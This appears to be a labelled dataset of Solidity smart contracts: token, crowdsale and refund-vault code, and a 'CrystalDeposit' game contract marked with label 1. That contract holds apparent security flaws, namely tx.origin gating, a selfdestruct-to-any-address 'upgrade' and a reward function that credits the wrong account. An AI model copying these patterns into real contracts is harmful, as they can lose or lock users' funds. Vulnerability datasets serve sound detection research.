return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Ammut";
string public constant TOKEN_SYMBOL = "XAMM";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x0928999e848B458a5d289798D1D2b805d559fF07;
uint public constant START_TIME = 1551391200;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 994 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "EURUSDCOIN";
string constant TOKEN_SYMBOL = "EUUS";
bool constant PAUSED = false;
address constant TARGET_USER = 0x5544A710df19D35267844dB9c8923f903A7D7467;
uint constant START_TIME = 1527804000;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale {
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
token.finishMinting();
}
token.transferOwnership(TARGET_USER);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
event Checked(bool isAccident);
function Checkable() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) onlyService public {
assert(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() view public returns (bool) {
return msg.sender == serviceAccount;
}
function check() onlyService notTriggered payable public {
if (internalCheck()) {
Triggered(this.balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered() {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 bonusRate = getBonusRate(weiAmount);
uint256 tokens = weiAmount.mul(bonusRate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonusRate(uint256 weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[1] memory weiRaisedStartsBoundaries = [uint(0)];
uint[1] memory weiRaisedEndsBoundaries = [uint(9000000000000000000000)];
uint64[1] memory timeStartsBoundaries = [uint64(1527804000)];
uint64[1] memory timeEndsBoundaries = [uint64(1530396000)];
uint[1] memory weiRaisedAndTimeRates = [uint(500)];
for (uint i = 0; i < 1; i++) {
bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]);
bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, CappedCrowdsale
, Checkable
{
event Initialized();
bool public initialized = false;
function TemplateCrowdsale(MintableToken _token) public
Crowdsale(START_TIME > now ? START_TIME : now, 1538258400, 100000 * TOKEN_DECIMAL_MULTIPLIER, 0x8d2420D1452c4792751e2C5c2B7a14b0FBDDCE57)
CappedCrowdsale(9000000000000000000000)
{
token = _token;
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[1] memory addresses = [address(0x21c00b4466faf8b367a3102179d2803c655ecd05)];
uint[1] memory amounts = [uint(100000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
Initialized();
}
function createTokenContract() internal returns (MintableToken) {
return MintableToken(0);
}
function internalCheck() internal returns (bool) {
bool result = !isFinalized && hasEnded();
Checked(result);
return result;
}
function internalAction() internal {
finalization();
Finalized();
isFinalized = true;
}
function validPurchase() internal view returns (bool) {
bool minValue = msg.value >= 50000000000000000;
bool maxValue = msg.value <= 10000000000000000000;
return
minValue &&
maxValue &&
super.validPurchase();
}
function hasEnded() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 50000000000000000;
return super.hasEnded() || remainValue;
}
} | 0 | 464 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract CryptoEngineerInterface {
uint256 public prizePool = 0;
function subVirus(address , uint256 ) public {}
function claimPrizePool(address , uint256 ) public {}
function isContractMiniGame() public pure returns( bool ) {}
function isEngineerContract() external pure returns(bool) {}
}
contract CryptoMiningWarInterface {
uint256 public deadline;
function subCrystal( address , uint256 ) public {}
function isMiningWarContract() external pure returns(bool) {}
}
interface MiniGameInterface {
function isContractMiniGame() external pure returns( bool _isContractMiniGame );
}
contract CrystalDeposit {
using SafeMath for uint256;
address public administrator;
uint256 public HALF_TIME = 48 hours;
uint256 public MIN_TIME_WITH_DEADLINE = 12 hours;
uint256 public round = 0;
CryptoEngineerInterface public Engineer;
CryptoMiningWarInterface public MiningWar;
address miningWarAddress;
uint256 miningWarDeadline;
uint256 constant private CRTSTAL_MINING_PERIOD = 86400;
mapping(uint256 => Game) public games;
mapping(address => Player) public players;
mapping(address => bool) public miniGames;
struct Game {
uint256 round;
uint256 crystals;
uint256 prizePool;
uint256 startTime;
uint256 endTime;
bool ended;
}
struct Player {
uint256 currentRound;
uint256 lastRound;
uint256 reward;
uint256 share;
}
event EndRound(uint256 round, uint256 crystals, uint256 prizePool, uint256 startTime, uint256 endTime);
event Deposit(address player, uint256 currentRound, uint256 deposit, uint256 currentShare);
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
constructor() public {
administrator = msg.sender;
setMiningWarInterface(0x65c347702b66ff8f1a28cf9a9768487fbe97765f);
setEngineerInterface(0xb2d6000d4a7fe8b1358d54a9bc21f2badf91d849);
}
function () public payable
{
}
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
function isDepositContract() public pure returns(bool)
{
return true;
}
function upgrade(address addr) public isAdministrator
{
selfdestruct(addr);
}
function setContractsMiniGame( address _addr ) public isAdministrator
{
MiniGameInterface MiniGame = MiniGameInterface( _addr );
if( MiniGame.isContractMiniGame() == false ) { revert(); }
miniGames[_addr] = true;
}
function removeContractMiniGame(address _addr) public isAdministrator
{
miniGames[_addr] = false;
}
function setupMiniGame( uint256 , uint256 _miningWarDeadline ) public
{
require(msg.sender == miningWarAddress);
miningWarDeadline = _miningWarDeadline;
}
function setMiningWarInterface(address _addr) public isAdministrator
{
CryptoMiningWarInterface miningWarInterface = CryptoMiningWarInterface(_addr);
require(miningWarInterface.isMiningWarContract() == true);
miningWarAddress = _addr;
MiningWar = miningWarInterface;
}
function setEngineerInterface(address _addr) public isAdministrator
{
CryptoEngineerInterface engineerInterface = CryptoEngineerInterface(_addr);
require(engineerInterface.isEngineerContract() == true);
Engineer = engineerInterface;
}
function startGame() public isAdministrator
{
miningWarDeadline = MiningWar.deadline();
games[round].ended = true;
startRound();
}
function startRound() private
{
require(games[round].ended == true);
uint256 crystalsLastRound = games[round].crystals;
uint256 prizePoolLastRound= games[round].prizePool;
round = round + 1;
uint256 startTime = now;
if (miningWarDeadline < SafeMath.add(startTime, MIN_TIME_WITH_DEADLINE)) startTime = miningWarDeadline;
uint256 endTime = startTime + HALF_TIME;
uint256 engineerPrizePool = getEngineerPrizePool();
uint256 prizePool = SafeMath.div(SafeMath.mul(engineerPrizePool, 5),100);
Engineer.claimPrizePool(address(this), prizePool);
if (crystalsLastRound == 0) prizePool = SafeMath.add(prizePool, prizePoolLastRound);
games[round] = Game(round, 0, prizePool, startTime, endTime, false);
}
function endRound() private
{
require(games[round].ended == false);
require(games[round].endTime <= now);
Game storage g = games[round];
g.ended = true;
startRound();
emit EndRound(g.round, g.crystals, g.prizePool, g.startTime, g.endTime);
}
function share(uint256 _value) public disableContract
{
require(games[round].ended == false);
require(games[round].startTime <= now);
require(_value >= 1);
MiningWar.subCrystal(msg.sender, _value);
if (games[round].endTime <= now) endRound();
updateReward(msg.sender);
Game storage g = games[round];
uint256 _share = SafeMath.mul(_value, CRTSTAL_MINING_PERIOD);
g.crystals = SafeMath.add(g.crystals, _share);
Player storage p = players[msg.sender];
if (p.currentRound == round) {
p.share = SafeMath.add(p.share, _share);
} else {
p.share = _share;
p.currentRound = round;
}
emit Deposit(msg.sender, p.currentRound, _value, p.share);
}
function getCurrentReward(address _addr) public view returns(uint256 _currentReward)
{
Player memory p = players[_addr];
_currentReward = p.reward;
_currentReward += calculateReward(_addr, p.currentRound);
}
function withdrawReward(address _addr) public
{
if (games[round].endTime <= now) endRound();
updateReward(_addr);
Player storage p = players[_addr];
uint256 balance = p.reward;
if (address(this).balance >= balance && balance > 0) {
_addr.transfer(balance);
p.reward = 0;
}
}
function updateReward(address _addr) private
{
Player storage p = players[_addr];
if (
games[p.currentRound].ended == true &&
p.lastRound < p.currentRound
) {
p.reward = SafeMath.add(p.reward, calculateReward(msg.sender, p.currentRound));
p.lastRound = p.currentRound;
}
}
function getData(address _addr)
public
view
returns(
uint256 _prizePool,
uint256 _crystals,
uint256 _startTime,
uint256 _endTime,
uint256 _reward,
uint256 _share
) {
(_prizePool, _crystals, _startTime, _endTime) = getCurrentGame();
(_reward, _share) = getPlayerData(_addr);
}
function calculateReward(address _addr, uint256 _round) public view returns(uint256)
{
Player memory p = players[_addr];
Game memory g = games[_round];
if (g.endTime > now) return 0;
if (g.crystals == 0) return 0;
if (p.lastRound >= _round) return 0;
return SafeMath.div(SafeMath.mul(g.prizePool, p.share), g.crystals);
}
function getCurrentGame() private view returns(uint256 _prizePool, uint256 _crystals, uint256 _startTime, uint256 _endTime)
{
Game memory g = games[round];
_prizePool = g.prizePool;
_crystals = g.crystals;
_startTime = g.startTime;
_endTime = g.endTime;
}
function getPlayerData(address _addr) private view returns(uint256 _reward, uint256 _share)
{
Player memory p = players[_addr];
_reward = p.reward;
if (p.currentRound == round) _share = players[_addr].share;
if (p.currentRound != p.lastRound) _reward += calculateReward(_addr, p.currentRound);
}
function getEngineerPrizePool() private view returns(uint256)
{
return Engineer.prizePool();
}
} | 1 | 2,098 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
